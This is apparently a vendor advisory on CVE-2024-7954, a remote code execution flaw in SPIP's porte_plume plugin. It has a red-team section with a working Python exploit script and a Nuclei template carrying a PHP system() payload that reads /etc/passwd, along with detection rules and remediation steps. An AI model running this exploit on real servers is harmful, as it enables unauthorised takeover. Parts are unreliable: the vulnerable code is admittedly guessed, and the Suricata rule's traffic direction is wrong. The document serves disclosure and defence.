CVE-2024-7954

Executive Summary

CVE-2024-7954 is a critical, unauthenticated remote code execution (RCE) vulnerability in the porte_plume plugin, which is bundled with the SPIP content management system. The flaw allows an attacker to execute arbitrary PHP code on the target server by sending a specially crafted HTTP POST request to the /index.php?action=porte_plume_previsu endpoint. The vulnerability stems from improper input sanitization in the plugin's preview functionality, enabling injection of PHP code via a crafted image syntax. With a CVSS score of 9.8, this vulnerability poses a severe risk to all unpatched SPIP installations, potentially leading to full server compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

SPIP is a PHP-based CMS distributed as a tarball or via Composer. The porte_plume plugin is included by default in the core distribution. The vulnerability affects all versions prior to the patched releases. There is no known compromise of the official distribution channels, but the widespread use of SPIP in French-speaking countries and organizations makes this a high-value target for threat actors. Organizations should verify the integrity of their SPIP installation and ensure they are using a trusted source.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high EPSS score (0.93147) and percentile (0.998) indicate a very high probability of exploitation in the wild. The availability of a public PoC and Nuclei template further increases the threat level.

Deep Dive & Mechanics

The vulnerability resides in the porte_plume plugin's preview functionality, specifically in the previsu action handler. The plugin processes user-supplied content for a preview, but fails to properly sanitize or escape input within the custom image syntax [<img...>->URL...]. An attacker can inject arbitrary PHP code within the backtick-delimited portion of this syntax.

The vulnerable code path likely involves a preg_replace with the /e modifier (deprecated and dangerous) or an eval() call on the user-supplied data. The crafted payload AA_[<img111111>->URL<?php system('cat /etc/passwd'); ?>]_BB is parsed, and the PHP code between the backticks is executed by the server.

The attack is unauthenticated and requires no special privileges. The only requirement is that the target SPIP instance has the porte_plume plugin enabled (which is the default).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely uses a pattern similar to:

// Vulnerable: preg_replace with /e modifier or eval
$content = preg_replace('/\[<img[^>]*>->URL`(.*?)`\]/e', 'process_image("$1")', $input);

This directly evaluates the captured group as PHP code.

Patched Code (Conceptual): The patched code should use preg_replace_callback and properly escape or validate the input:

// Patched: preg_replace_callback with safe handling
$content = preg_replace_callback('/\[<img[^>]*>->URL`(.*?)`\]/', function($matches) {
    $safe_data = htmlspecialchars($matches[1], ENT_QUOTES, 'UTF-8');
    return process_image($safe_data);
}, $input);

The exact patch details are not publicly available, but the fix involves removing the dangerous eval or /e modifier and implementing proper input sanitization.

Exploitation & Lab Setup

Red Team (Exploitation)

The following Python script demonstrates exploitation of CVE-2024-7954. It sends a crafted POST request to execute the id command on the target.

import requests
import sys

def exploit(target_url, command):
    payload = f"AA_[<img111111>->URL`<?php system('{command}'); ?>`]_BB"
    data = {"data": payload}
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    
    try:
        r = requests.post(f"{target_url}/index.php?action=porte_plume_previsu", data=data, headers=headers, timeout=10)
        if r.status_code == 200 and "Composed-By: SPIP" in r.headers.get("Composed-By", ""):
            print("[+] Target is vulnerable")
            print("[+] Response:")
            print(r.text)
        else:
            print("[-] Target may not be vulnerable or response is unexpected")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <command>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

python3 exploit.py http://target-spip.com "cat /etc/passwd"

Blue Team (Detection & Response)

1. Network Detection: Monitor for POST requests to /index.php?action=porte_plume_previsu with unusual payloads containing backtick-enclosed PHP code.
2. Log Analysis: Check web server access logs for the specific endpoint and suspicious data parameters.
3. File Integrity: Monitor for unexpected file modifications in the SPIP installation directory, especially PHP files.
4. Process Monitoring: Watch for unexpected PHP processes spawned by the web server user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?action=porte_plume_previsu
  • Payloads containing [<img...>->URL...] with PHP code
  • Response headers containing Composed-By: SPIP
• File System IOCs:
  • Unexpected PHP files in /tmp/, /var/tmp/, or SPIP's tmp/ directory
  • Modified SPIP core files (e.g., ecrire/ directory)
  • Web shells (e.g., cmd.php, shell.php)
• Process IOCs:
  • PHP processes executing unusual commands (e.g., id, cat /etc/passwd, wget)
• Log IOCs:
  • Web server logs showing POST /index.php?action=porte_plume_previsu with non-standard parameters

Detection Engineering

YARA Rule

rule CVE_2024_7954_SPIP_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7954 in SPIP"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7954"
        severity = "critical"
    strings:
        $payload1 = /\[<img[^>]*>->URL`.*?`\]/ ascii wide
        $payload2 = /porte_plume_previsu/ ascii wide
        $php_code = /<\?php/ ascii wide
    condition:
        all of them
}

Sigma Rule

title: SPIP Porte Plume RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the porte_plume_previsu endpoint with suspicious payloads
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7954
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: action=porte_plume_previsu
        cs-uri-query|contains: data=
    condition: selection
falsepositives:
    - Legitimate use of the preview feature with benign content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7954 SPIP Porte Plume RCE Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php";
    http_uri;
    content:"action=porte_plume_previsu";
    http_uri;
    content:"data=";
    http_client_body;
    pcre:"/\[<img[^>]*>->URL`.*?`\]/Ri";
    reference:cve,2024-7954;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template

id: CVE-2024-7954

info:
  name: SPIP Porte Plume Plugin - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code as the SPIP user, achieving complete server compromise and full control of the SPIP installation and its data.
  remediation: |
    Update SPIP to version 4.3.0-alpha2, 4.2.13, or 4.1.16 or later to address the remote code execution vulnerability in the porte_plume plugin.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
    - https://vulncheck.com/advisories/spip-porte-plume
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7954
    - https://github.com/bigb0x/CVE-2024-7954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7954
    cwe-id: CWE-284
    epss-score: 0.93147
    epss-percentile: 0.998
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    fofa-query: app="SPIP"
  tags: cve,cve2024,spip,rce,vkev,vuln

http:
  - raw:
      - |
        POST /index.php?action=porte_plume_previsu HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'Composed-By: SPIP'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade SPIP to version 4.3.0-alpha2, 4.2.13, or 4.1.16 or later immediately.
2. Disable Plugin: If patching is not immediately possible, disable the porte_plume plugin by removing or renaming the plugins/porte_plume directory.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing the pattern \[<img[^>]*>->URL.*?\] in POST data.
4. Network Segmentation: Ensure the SPIP server is isolated and not directly accessible from the internet if possible.

Long-Term Measures:

1. Regular Updates: Implement a patch management policy for all CMS and plugins.
2. Security Hardening: Follow SPIP security best practices, including file permissions and disabling unnecessary features.
3. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
4. Incident Response: Prepare an incident response plan for RCE vulnerabilities, including containment and forensic analysis procedures.

Valters IT

{/* [Security Hash: C38EDCB0B9D99B91B8978EB4] */}